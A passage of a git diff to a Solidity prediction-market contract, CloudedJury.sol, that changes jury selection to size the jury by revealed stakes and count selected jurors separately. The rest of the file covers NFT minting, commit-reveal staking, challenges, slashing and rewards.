         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/src/CloudedJury.sol b/src/CloudedJury.sol
--- a/src/CloudedJury.sol
+++ b/src/CloudedJury.sol
@@ -1,646 +1,649 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
+        uint256 _selected;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
-        uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
-        while (_attempt < _jurySet) {
+        uint256 _totalRevealedTokens = markets_[_marketId].marketReveals;
+        uint256 _jurySet             = _totalRevealedTokens == 0 ? 0 : _totalRevealedTokens < 5 ? 1 : _totalRevealedTokens / 5 < 300 ? _totalRevealedTokens / 5 : 300;
+        while (_selected < _jurySet && _attempt < _totalStakedTokens) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
+                _selected++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
